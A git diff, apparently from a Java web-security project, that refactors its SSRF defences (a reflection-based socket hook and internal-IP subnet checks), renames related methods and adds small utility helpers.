* Still need to add @ServletComponentScan annotation in Application.java. - * */ @WebFilter(filterName = "referFilter", urlPatterns = "/*") public class ReferFilter implements Filter { @@ -30,7 +29,7 @@ public void init(FilterConfig filterConfig) throws ServletException { } - private final Logger logger= LoggerFactory.getLogger(this.getClass()); + private final Logger logger = LoggerFactory.getLogger(this.getClass()); @Override public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) @@ -43,8 +42,8 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter boolean isMatch = false; // 获取要校验Referer的Uri - for (String uri: WebConfig.getReferUris()) { - if ( matcher.match (uri, request.getRequestURI()) ) { + for (String uri : WebConfig.getReferUris()) { + if (matcher.match(uri, request.getRequestURI())) { isMatch = true; break; } @@ -63,9 +62,9 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter // Check referer for all GET requests with callback parameters. String reqCallback = request.getParameter(WebConfig.getBusinessCallback()); - if ("GET".equals(request.getMethod()) && StringUtils.isNotBlank(reqCallback) ){ + if ("GET".equals(request.getMethod()) && StringUtils.isNotBlank(reqCallback)) { // If the check of referer fails, a 403 forbidden error page will be returned. - if (SecurityUtil.checkURL(refer) == null ){ + if (SecurityUtil.checkURL(refer) == null) { logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t" + "Referer: " + refer); response.setStatus(HttpServletResponse.SC_FORBIDDEN); @@ -76,7 +75,6 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter } - filterChain.doFilter(req, res); } diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java index 2cbe52ab..a1c4cfc6 100644 --- a/src/main/java/org/joychou/security/SecurityUtil.java +++ b/src/main/java/org/joychou/security/SecurityUtil.java @@ -1,6 +1,8 @@ package org.joychou.security; import org.joychou.config.WebConfig; +import org.joychou.security.ssrf.SSRFChecker; +import org.joychou.security.ssrf.SocketHook; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -116,26 +118,22 @@ public static boolean checkSSRFWithoutRedirect(String url) { if(url == null) { return false; } - return !SSRFChecker.isInnerIPByUrl(url); + return !SSRFChecker.isInternalIpByUrl(url); } /** - * @Author liergou - * @Description 基于Socket hook 进行SSRF检测拦截 - * @Date 2:15 2020/4/4 - * @Param [] - * @return void - **/ + * Check ssrf by hook socket. Start socket hook. + * + * @author liergou @ 2020-04-04 02:15 + */ public static void startSSRFHook() throws NoSuchFieldException, IOException { SocketHook.startHook(); } /** - * @Author liergou - * @Description 关闭Socket hook - * @Date 2:15 2020/4/4 - * @Param [] - * @return void + * Close socket hook. + * + * @author liergou @ 2020-04-04 02:15 **/ public static void stopSSRFHook(){ SocketHook.stopHook(); diff --git a/src/main/java/org/joychou/security/SocketHookFactory.java b/src/main/java/org/joychou/security/SocketHookFactory.java deleted file mode 100644 index 2dbe738f..00000000 --- a/src/main/java/org/joychou/security/SocketHookFactory.java +++ /dev/null @@ -1,77 +0,0 @@ -package org.joychou.security; - - -import java.io.IOException; -import java.lang.reflect.Field; -import java.net.Socket; -import java.net.SocketImpl; -import java.net.SocketImplFactory; -import java.util.logging.Level; -import java.util.logging.Logger; - - -/** - * @Author liergou - * @Description socket factory impl - * @Date 23:41 2020/4/3 - * @Param - * @return - **/ -public class SocketHookFactory implements SocketImplFactory - { - private static SocketImpl clazz; - private static Boolean isHook = false; - - /** - * @Author liergou - * @Description switch hook - * @Date 23:42 2020/4/2 - * @Param [set] - * @return void - **/ - public static void setHook(Boolean set){ - isHook = set; - } - - /** - * @Author liergou - * @Description 初始化 - * @Date 23:42 2020/4/2 - * @Param [] - * @return void - **/ - public static synchronized void initSocket() throws NoSuchFieldException { - if ( clazz != null ) { return; } - - Socket socket = new Socket(); - try{ - Field implField = Socket.class.getDeclaredField("impl"); - implField.setAccessible( true ); - clazz = (SocketImpl) implField.get(socket); - }catch (NoSuchFieldException | IllegalAccessException e){ - throw new RuntimeException("SocketHookFactory init failed!"); - } - - try { - socket.close(); - } - catch ( IOException ignored) - { - - } - } - - public SocketImpl createSocketImpl() { - - if(isHook) { - try { - return new SocketHookImpl(clazz); - } catch (Exception e) { - Logger.getLogger(SocketHookFactory.class.getName()).log(Level.WARNING, "hook 失败 请检查" ); - return clazz; - } - }else{ - return clazz; - } - } - } diff --git a/src/main/java/org/joychou/security/SocketHookImpl.java b/src/main/java/org/joychou/security/SocketHookImpl.java deleted file mode 100644 index ec41ebac..00000000 --- a/src/main/java/org/joychou/security/SocketHookImpl.java +++ /dev/null @@ -1,294 +0,0 @@ -package org.joychou.security; - -import java.io.IOException; -import java.io.InputStream; -import java.io.OutputStream; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.net.*; -import java.util.logging.Level; -import java.util.logging.Logger; - -/** - * @Author liergou - * @Description socket impl - * @Date 23:39 2020/4/2 - * @Param - * @return - **/ -public class SocketHookImpl extends SocketImpl implements SocketOptions -{ - - private SocketImpl socketImpl = null; - private Method createImpl; - private Method connectHostImpl; - private Method connectInetAddressImpl; - private Method connectSocketAddressIMPL; - private Method bindImpl; - private Method listenImpl; - private Method acceptImpl; - private Method getInputStreamImpl; - private Method getOutputStreamImpl; - private Method availableImpl; - private Method closeImpl; - private Method shutdownInputImpl; - private Method shutdownOutputImpl; - private Method sendUrgentDataImpl; - - - /** - * @Author liergou - * @Description 初始化反射方法 - * @Date 23:40 2020/4/2 - * @Param [initSocketImpl] - * @return - **/ - public SocketHookImpl(SocketImpl initSocketImpl) { - - if ( initSocketImpl == null){ - throw new RuntimeException(""); - //TODO close hook - } - - this.socketImpl = initSocketImpl; - final Class clazz = this.socketImpl.getClass(); - Method[] allMethod = clazz.getDeclaredMethods(); - createImpl = SocketHookUtils.findMethod( clazz,"create", new Class[]{ boolean.class } ); - connectHostImpl = SocketHookUtils.findMethod( clazz, "connect", new Class[]{ String.class, int.class } ); - connectInetAddressImpl = SocketHookUtils.findMethod( clazz, "connect", new Class[]{ InetAddress.class, int.class } ); - connectSocketAddressIMPL = SocketHookUtils.findMethod( clazz, "connect", new Class[]{ SocketAddress.class, int.class } ); - bindImpl = SocketHookUtils.findMethod( clazz, "bind", new Class[]{ InetAddress.class, int.class } ); - listenImpl = SocketHookUtils.findMethod( clazz, "listen", new Class[]{ int.class } ); - acceptImpl = SocketHookUtils.findMethod( clazz, "accept", new Class[]{ SocketImpl.class } ); - getInputStreamImpl = SocketHookUtils.findMethod( clazz, "getInputStream", new Class[]{ } ); - getOutputStreamImpl = SocketHookUtils.findMethod( clazz, "getOutputStream", new Class[]{ } ); - availableImpl = SocketHookUtils.findMethod( clazz, "available", new Class[]{ } ); - closeImpl = SocketHookUtils.findMethod( clazz, "close", new Class[]{ } ); - shutdownInputImpl = SocketHookUtils.findMethod( clazz, "shutdownInput", new Class[]{ } ); - shutdownOutputImpl = SocketHookUtils.findMethod( clazz, "shutdownOutput", new Class[]{ } ); - sendUrgentDataImpl = SocketHookUtils.findMethod( clazz, "sendUrgantData", new Class[]{ int.class } ); - } - - - /** - * socket base method impl - */ - @Override - protected void create(boolean stream) throws IOException { - try - { - this.createImpl.invoke( this.socketImpl, stream); - } - catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) - { - Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); - } - - } - - @Override - protected void connect(String host, int port) throws IOException { - Logger.getLogger(SocketHookImpl.class.getName()).log(Level.INFO, "host=" + host + ",port=" + port ); - - try - { - this.connectHostImpl.invoke( this.socketImpl, host, port); - } - catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) - { - Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); - } - - } - - - @Override - protected void connect(InetAddress address, int port) throws IOException { - Logger.getLogger(SocketHookImpl.class.getName()).log(Level.INFO, "InetAddress=" + address.toString()); - - //start check SSRF - if(SSRFChecker.isInnerIp(SSRFChecker.getIpFromStr(address.toString()))){ - throw new RuntimeException("Socket SSRF check failed. InetAddress:"+address.toString()); - } - try - { - this.connectInetAddressImpl.invoke( this.socketImpl, address, port); - } - catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) - { - Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); - } - } - - @Override - protected void connect(SocketAddress address, int timeout) throws IOException { - Logger.getLogger(SocketHookImpl.class.getName()).log(Level.INFO, "SocketAddress=" + address.toString()); - //start check SSRF - if(SSRFChecker.isInnerIp(SSRFChecker.getIpFromStr(address.toString()))){ - throw new RuntimeException("Socket SSRF check failed. SocketAddress:"+address.toString()); - } - - try - { - this.connectSocketAddressIMPL.invoke( this.socketImpl, address, timeout); - } - catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) - { - Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); - } - } - - @Override - protected void bind(InetAddress host, int port) throws IOException { - try - { - this.bindImpl.invoke( this.socketImpl, host, port); - } - catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) - { - Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); - } - } - - @Override - protected void listen(int backlog) throws IOException { - - try - { - this.listenImpl.invoke( this.socketImpl, backlog); - } - catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) - { - Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); - } - } - - @Override - protected void accept(SocketImpl s) throws IOException { - - try - { - this.acceptImpl.invoke( this.socketImpl, s); - } - catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) - { - Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); - } - } - - @Override - protected InputStream getInputStream() throws IOException { - InputStream inStream = null; - - try - { - inStream = (InputStream)this.getInputStreamImpl.invoke( this.socketImpl); - } - catch ( ClassCastException | InvocationTargetException | IllegalArgumentException | IllegalAccessException ex ) - { - Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); - } - - return inStream; - } - - @Override - protected OutputStream getOutputStream() throws IOException { - OutputStream outStream = null; - - try - { - outStream = (OutputStream)this.getOutputStreamImpl.invoke( this.socketImpl); - } - catch ( ClassCastException | IllegalArgumentException | IllegalAccessException | InvocationTargetException ex ) - { - Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); - } - - return outStream; - } - - @Override - protected int available() throws IOException { - int result = -1; - - try - { - result = (Integer)this.availableImpl.invoke( this.socketImpl); - } - catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) - { - Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); - } - - return result; - } - - @Override - protected void close() throws IOException { - try - { - this.closeImpl.invoke( this.socketImpl); - } - catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) - { - Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); - } - } - - @Override - protected void shutdownInput() throws IOException { - try - { - this.shutdownInputImpl.invoke( this.socketImpl); - } - catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) - { - Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); - } - - } - - @Override - protected void shutdownOutput() throws IOException { - try - { - this.shutdownOutputImpl.invoke( this.socketImpl); - } - catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) - { - Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); - } - - } - - @Override - protected void sendUrgentData(int data) throws IOException { - try - { - this.sendUrgentDataImpl.invoke( this.socketImpl, data); - } - catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) - { - Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); - } - } - - public void setOption(int optID, Object value) throws SocketException { - if ( null != this.socketImpl ) - { - this.socketImpl.setOption( optID, value ); - } - } - - public Object getOption(int optID) throws SocketException { - return this.socketImpl.getOption( optID ); - } - - /** - * dont impl other child method now - * dont sure where will use it - **/ - - -} diff --git a/src/main/java/org/joychou/security/SocketHookUtils.java b/src/main/java/org/joychou/security/SocketHookUtils.java deleted file mode 100644 index 75d48707..00000000 --- a/src/main/java/org/joychou/security/SocketHookUtils.java +++ /dev/null @@ -1,29 +0,0 @@ -package org.joychou.security; - -import java.lang.reflect.Method; - -public class SocketHookUtils { - - /** - * @Author liergou - * @Description 轮询父类查找反射方法 - * @Date 1:43 2020/4/4 - * @Param [inputClazz, findName, args] - * @return java.lang.reflect.Method - **/ - public static Method findMethod(Class inputClazz, String findName ,Class[] args){ - Class temp=inputClazz; - Method tmpMethod = null; - while(temp!=null){ - try{ - tmpMethod = temp.getDeclaredMethod(findName,args); - tmpMethod.setAccessible(true); - return tmpMethod; - }catch (NoSuchMethodException e){ - temp=temp.getSuperclass(); - } - } - return null; - } - -} diff --git a/src/main/java/org/joychou/security/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java similarity index 77% rename from src/main/java/org/joychou/security/SSRFChecker.java rename to src/main/java/org/joychou/security/ssrf/SSRFChecker.java index ef393074..32373aff 100644 --- a/src/main/java/org/joychou/security/SSRFChecker.java +++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java @@ -1,25 +1,24 @@ -package org.joychou.security; +package org.joychou.security.ssrf; import java.net.HttpURLConnection; import java.net.InetAddress; import java.net.URI; import java.net.URL; import java.util.ArrayList; -import java.util.regex.Matcher; -import java.util.regex.Pattern; +import org.apache.commons.lang.StringUtils; import org.apache.commons.net.util.SubnetUtils; import org.joychou.config.WebConfig; import org.slf4j.Logger; import org.slf4j.LoggerFactory; -class SSRFChecker { + +public class SSRFChecker { private static Logger logger = LoggerFactory.getLogger(SSRFChecker.class); - private final static Pattern IP_PATTERN = Pattern.compile("((25[0-5]|2[0-4]\\d|[01]?\\d\\d?)\\.){3}(25[0-5]|2[0-4]\\d|[01]?\\d\\d?)"); - static boolean checkURLFckSSRF(String url) { - if (null == url){ + public static boolean checkURLFckSSRF(String url) { + if (null == url) { return false; } @@ -37,7 +36,7 @@ static boolean checkURLFckSSRF(String url) { return true; } for (String ssrfSafeDomain : ssrfSafeDomains) { - if(host.endsWith("." + ssrfSafeDomain)) { + if (host.endsWith("." + ssrfSafeDomain)) { return true; } } @@ -53,20 +52,20 @@ static boolean checkURLFckSSRF(String url) { * url只允许https或者http,并且设置默认连接超时时间。 * 该修复方案会主动请求重定向后的链接。最好用Hook方式获取到所有url后,进行判断,代码待续… * - * @param url check的url + * @param url check的url * @param checkTimes 设置重定向检测的最大次数,建议设置为10次 * @return 安全返回true,危险返回false */ - static boolean checkSSRF(String url, int checkTimes) { + public static boolean checkSSRF(String url, int checkTimes) { HttpURLConnection connection; - int connectTime = 5*1000; // 设置连接超时时间5s + int connectTime = 5 * 1000; // 设置连接超时时间5s int i = 1; String finalUrl = url; try { do { // 判断当前请求的URL是否是内网ip - if (isInnerIPByUrl(finalUrl)) { + if (isInternalIpByUrl(finalUrl)) { logger.error("[-] SSRF check failed. Dangerous url: " + finalUrl); return false; // 内网ip直接return,非内网ip继续判断是否有重定向 } @@ -78,14 +77,14 @@ static boolean checkSSRF(String url, int checkTimes) { //connection.setRequestMethod("GET"); connection.connect(); // send dns request int responseCode = connection.getResponseCode(); // 发起网络请求 - if (responseCode >= 300 && responseCode <=307 && responseCode != 304 && responseCode != 306) { + if (responseCode >= 300 && responseCode <= 307 && responseCode != 304 && responseCode != 306) { String redirectedUrl = connection.getHeaderField("Location"); if (null == redirectedUrl) break; finalUrl = redirectedUrl; i += 1; // 重定向次数加1 logger.info("redirected url: " + finalUrl); - if(i == checkTimes) { + if (i == checkTimes) { return false; } } else @@ -104,18 +103,19 @@ static boolean checkSSRF(String url, int checkTimes) { * * @return 如果是内网IP,返回true;非内网IP,返回false。 */ - static boolean isInnerIPByUrl(String url) { + public static boolean isInternalIpByUrl(String url) { + String host = url2host(url); if (host.equals("")) { return true; // 异常URL当成内网IP等非法URL处理 } String ip = host2ip(host); - if(ip.equals("")){ + if (ip.equals("")) { return true; // 如果域名转换为IP异常,则认为是非法URL } - return isInnerIp(ip); + return isInternalIp(ip); } @@ -125,14 +125,18 @@ static boolean isInnerIPByUrl(String url) { * @param strIP ip字符串 * @return 如果是内网ip,返回true,否则返回false。 */ - static boolean isInnerIp(String strIP){ - - ArrayList blackSubnets= WebConfig.getSsrfBlockIps(); + static boolean isInternalIp(String strIP) { + if (StringUtils.isEmpty(strIP)) { + logger.error("[-] SSRF check failed. IP is empty. " + strIP); + return true; + } - for (String subnet: blackSubnets) { + ArrayList blackSubnets = WebConfig.getSsrfBlockIps(); + blackSubnets.add("10.0.0.0/8"); + for (String subnet : blackSubnets) { SubnetUtils utils = new SubnetUtils(subnet); if (utils.getInfo().isInRange(strIP)) { - logger.error("[-] SSRF check failed. Inner Ip: " + strIP); + logger.error("[-] SSRF check failed. Internal IP: " + strIP); return true; } } @@ -153,8 +157,7 @@ private static String host2ip(String host) { try { InetAddress IpAddress = InetAddress.getByName(host); // send dns request return IpAddress.getHostAddress(); - } - catch (Exception e) { + } catch (Exception e) { return ""; } } @@ -168,7 +171,7 @@ private static String url2host(String url) { try { // 使用URI,而非URL,防止被绕过。 URI u = new URI(url); - if (!url.startsWith("http://") && ! url.startsWith("https://")) { + if (!url.startsWith("http://") && !url.startsWith("https://")) { return ""; } @@ -180,13 +183,4 @@ private static String url2host(String url) { } - /** - * 匹配ip - * @return - */ - static String getIpFromStr(String ipStr){ - Matcher matcher = IP_PATTERN.matcher(ipStr); - System.out.println(matcher.find()); - return matcher.group(); - } } diff --git a/src/main/java/org/joychou/security/ssrf/SSRFException.java b/src/main/java/org/joychou/security/ssrf/SSRFException.java new file mode 100644 index 00000000..b27a970f --- /dev/null +++ b/src/main/java/org/joychou/security/ssrf/SSRFException.java @@ -0,0 +1,15 @@ +package org.joychou.security.ssrf; + + +/** + * SSRFException + * + * @author JoyChou @2020-04-04 + */ +class SSRFException extends RuntimeException { + + SSRFException(String s) { + super(s); + } + +} diff --git a/src/main/java/org/joychou/security/SocketHook.java b/src/main/java/org/joychou/security/ssrf/SocketHook.java similarity index 59% rename from src/main/java/org/joychou/security/SocketHook.java rename to src/main/java/org/joychou/security/ssrf/SocketHook.java index 359e33f3..92b8f496 100644 --- a/src/main/java/org/joychou/security/SocketHook.java +++ b/src/main/java/org/joychou/security/ssrf/SocketHook.java @@ -1,16 +1,18 @@ -package org.joychou.security; +package org.joychou.security.ssrf; import java.io.IOException; import java.net.Socket; import java.net.SocketException; + /** - * @Author liergou - * @Description Socket hook开关自如 - * @Date 2:12 2020/4/4 - **/ -class SocketHook { - static void startHook() throws NoSuchFieldException, IOException { + * Socket Hook switch + * + * @author liergou @ 2020-04-04 02:12 + */ +public class SocketHook { + + public static void startHook() throws NoSuchFieldException, IOException { SocketHookFactory.initSocket(); SocketHookFactory.setHook(true); try{ @@ -19,7 +21,7 @@ static void startHook() throws NoSuchFieldException, IOException { } } - static void stopHook(){ + public static void stopHook(){ SocketHookFactory.setHook(false); } } \ No newline at end of file diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java b/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java new file mode 100644 index 00000000..51a278b7 --- /dev/null +++ b/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java @@ -0,0 +1,87 @@ +package org.joychou.security.ssrf; + + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.net.Socket; +import java.net.SocketImpl; +import java.net.SocketImplFactory; + + +/** + * socket factory impl + * + * @author liergou @ 2020-04-03 23:41 + */ +public class SocketHookFactory implements SocketImplFactory { + + + private static Boolean isHook = false; + private static Constructor socketConstructor = null; + private final Logger logger = LoggerFactory.getLogger(this.getClass()); + + /** + * @param set hook switch + */ + static void setHook(Boolean set) { + isHook = set; + } + + + /** + * initSocket + */ + static void initSocket() { + if (socketConstructor != null) { + return; + } + + Socket socket = new Socket(); + try { + Field implField = Socket.class.getDeclaredField("impl"); + implField.setAccessible(true); + Class clazz = implField.get(socket).getClass(); + SocketHookImpl.initSocketImpl(clazz); + socketConstructor = clazz.getDeclaredConstructor(); + socketConstructor.setAccessible(true); + } catch (NoSuchFieldException | IllegalAccessException | NoSuchMethodException e) { + throw new SSRFException("SocketHookFactory init failed!"); + } + + try { + socket.close(); + } catch (IOException ignored) { + + } + } + + + public SocketImpl createSocketImpl() { + + if (isHook) { + try { + return new SocketHookImpl(socketConstructor); + } catch (Exception e) { + logger.error("Socket hook failed!"); + try { + return (SocketImpl) socketConstructor.newInstance(); + } catch (InstantiationException | IllegalAccessException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + } + } else { + try { + return (SocketImpl) socketConstructor.newInstance(); + } catch (InstantiationException | IllegalAccessException | InvocationTargetException e) { + logger.error(e.toString()); + } + } + + return null; + } +} diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java new file mode 100644 index 00000000..c3b9c28d --- /dev/null +++ b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java @@ -0,0 +1,270 @@ +package org.joychou.security.ssrf; + + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.net.*; + + +/** + * Socket impl + * + * @author liergou @ 2020-04-02 23:39 + */ +public class SocketHookImpl extends SocketImpl implements SocketOptions { + + private static Boolean isInit = false; + static private SocketImpl socketImpl = null; + static private Method createImpl; + static private Method connectHostImpl; + static private Method connectInetAddressImpl; + static private Method connectSocketAddressImpl; + static private Method bindImpl; + static private Method listenImpl; + static private Method acceptImpl; + static private Method getInputStreamImpl; + static private Method getOutputStreamImpl; + static private Method availableImpl; + static private Method closeImpl; + static private Method shutdownInputImpl; + static private Method shutdownOutputImpl; + static private Method sendUrgentDataImpl; + + private final Logger logger = LoggerFactory.getLogger(this.getClass()); + + + SocketHookImpl(Constructor socketConstructor) throws IllegalAccessException, + InvocationTargetException, InstantiationException { + socketImpl = (SocketImpl) socketConstructor.newInstance(); + } + + + /** + * Init reflect method. + * + * @author liergou + */ + static void initSocketImpl(Class initSocketImpl) { + + if (initSocketImpl == null) { + SocketHookFactory.setHook(false); + throw new RuntimeException("InitSocketImpl failed! Hook stopped!"); + } + + if (!isInit) { + // + createImpl = SocketHookUtils.findMethod(initSocketImpl, "create", new Class[]{boolean.class}); + connectHostImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class[]{String.class, int.class}); + connectInetAddressImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class[]{InetAddress.class, int.class}); + connectSocketAddressImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class[]{SocketAddress.class, int.class}); + bindImpl = SocketHookUtils.findMethod(initSocketImpl, "bind", new Class[]{InetAddress.class, int.class}); + listenImpl = SocketHookUtils.findMethod(initSocketImpl, "listen", new Class[]{int.class}); + acceptImpl = SocketHookUtils.findMethod(initSocketImpl, "accept", new Class[]{SocketImpl.class}); + getInputStreamImpl = SocketHookUtils.findMethod(initSocketImpl, "getInputStream", new Class[]{}); + getOutputStreamImpl = SocketHookUtils.findMethod(initSocketImpl, "getOutputStream", new Class[]{}); + availableImpl = SocketHookUtils.findMethod(initSocketImpl, "available", new Class[]{}); + closeImpl = SocketHookUtils.findMethod(initSocketImpl, "close", new Class[]{}); + shutdownInputImpl = SocketHookUtils.findMethod(initSocketImpl, "shutdownInput", new Class[]{}); + shutdownOutputImpl = SocketHookUtils.findMethod(initSocketImpl, "shutdownOutput", new Class[]{}); + sendUrgentDataImpl = SocketHookUtils.findMethod(initSocketImpl, "sendUrgantData", new Class[]{int.class}); + isInit = true; + } + } + + + /** + * socket base method impl + */ + @Override + protected void create(boolean stream) throws IOException { + try { + createImpl.invoke(socketImpl, stream); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + + } + + + @Override + protected void connect(String host, int port) throws IOException { + logger.info("host: " + host + "\tport: " + port); + try { + connectHostImpl.invoke(socketImpl, host, port); + } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) { + logger.error(ex.toString()); + } + + } + + + @Override + protected void connect(InetAddress address, int port) throws IOException { + + logger.info("InetAddress: " + address.toString()); + + try { + if (SSRFChecker.isInternalIp(address.getHostAddress())) { + throw new RuntimeException("Socket SSRF check failed. InetAddress:" + address.toString()); + } + connectInetAddressImpl.invoke(socketImpl, address, port); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + } + + @Override + protected void connect(SocketAddress address, int timeout) throws IOException { + + // convert SocketAddress to InetSocketAddress + InetSocketAddress addr = (InetSocketAddress) address; + + String ip = addr.getAddress().getHostAddress(); + String host = addr.getHostName(); + logger.info(String.format("[+]SocketAddress address's Hostname: %s IP: %s", host, ip)); + + try { + if (SSRFChecker.isInternalIp(ip)) { + throw new SSRFException(String.format("[-] SSRF check failed. Hostname: %s IP: %s", host, ip)); + } + connectSocketAddressImpl.invoke(socketImpl, address, timeout); + } catch (IllegalAccessException | IllegalArgumentException | + InvocationTargetException ex) { + logger.error(ex.toString()); + } + + } + + @Override + protected void bind(InetAddress host, int port) throws IOException { + try { + bindImpl.invoke(socketImpl, host, port); + } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) { + logger.error(ex.toString()); + } + } + + @Override + protected void listen(int backlog) { + + try { + listenImpl.invoke(socketImpl, backlog); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + } + + @Override + protected void accept(SocketImpl s) throws IOException { + + try { + acceptImpl.invoke(socketImpl, s); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + } + + @Override + protected InputStream getInputStream() throws IOException { + InputStream inStream = null; + + try { + inStream = (InputStream) getInputStreamImpl.invoke(socketImpl); + } catch (ClassCastException | InvocationTargetException | + IllegalArgumentException | IllegalAccessException ex) { + logger.error(ex.toString()); + } + + return inStream; + } + + @Override + protected OutputStream getOutputStream() throws IOException { + OutputStream outStream = null; + + try { + outStream = (OutputStream) getOutputStreamImpl.invoke(socketImpl); + } catch (ClassCastException | IllegalArgumentException | + IllegalAccessException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + + return outStream; + } + + @Override + protected int available() throws IOException { + + int result = -1; + + try { + result = (Integer) availableImpl.invoke(socketImpl); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + + return result; + } + + @Override + protected void close() throws IOException { + try { + closeImpl.invoke(socketImpl); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + } + + @Override + protected void shutdownInput() throws IOException { + try { + shutdownInputImpl.invoke(socketImpl); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + + } + + @Override + protected void shutdownOutput() throws IOException { + try { + shutdownOutputImpl.invoke(socketImpl); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + + } + + @Override + protected void sendUrgentData(int data) throws IOException { + try { + sendUrgentDataImpl.invoke(socketImpl, data); + } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) { + logger.error(ex.toString()); + } + } + + public void setOption(int optID, Object value) throws SocketException { + if (null != socketImpl) { + socketImpl.setOption(optID, value); + } + } + + public Object getOption(int optID) throws SocketException { + return socketImpl.getOption(optID); + } + + /* + * Dont impl other child method now. Don't be sure where will use it. + * + */ + + +} diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java b/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java new file mode 100644 index 00000000..b94b82d9 --- /dev/null +++ b/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java @@ -0,0 +1,28 @@ +package org.joychou.security.ssrf; + +import java.lang.reflect.Method; + +class SocketHookUtils { + + /** + * Poll the parent class to find the reflection method. + * + * @author liergou @2020-04-04 01:43 + */ + static Method findMethod(Class inputClazz, String findName, Class[] args) { + + Class temp = inputClazz; + + while (temp != null) { + try { + Method tmpMethod = temp.getDeclaredMethod(findName, args); + tmpMethod.setAccessible(true); + return tmpMethod; + } catch (NoSuchMethodException e) { + temp = temp.getSuperclass(); + } + } + return null; + } + +} diff --git a/src/main/java/org/joychou/util/WebUtils.java b/src/main/java/org/joychou/util/WebUtils.java index b0a59bc1..7cc16e84 100644 --- a/src/main/java/org/joychou/util/WebUtils.java +++ b/src/main/java/org/joychou/util/WebUtils.java @@ -2,9 +2,11 @@ import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletRequest; +import java.io.File; import java.io.IOException; import java.io.InputStream; +import com.google.common.base.Preconditions; import org.springframework.web.util.HtmlUtils; public class WebUtils { @@ -30,4 +32,18 @@ public static String getCookieValueByName(HttpServletRequest request, String coo public static String json2Jsonp(String callback, String jsonStr) { return HtmlUtils.htmlEscape(callback) + "(" + jsonStr + ")"; } + + public static String getFileExtension(String fullName) { + Preconditions.checkNotNull(fullName); + String fileName = (new File(fullName)).getName(); + int dotIndex = fileName.lastIndexOf('.'); + return dotIndex == -1 ? "" : fileName.substring(dotIndex + 1); + } + + public static String getNameWithoutExtension(String file) { + Preconditions.checkNotNull(file); + String fileName = (new File(file)).getName(); + int dotIndex = fileName.lastIndexOf('.'); + return dotIndex == -1 ? fileName : fileName.substring(0, dotIndex); + } } From 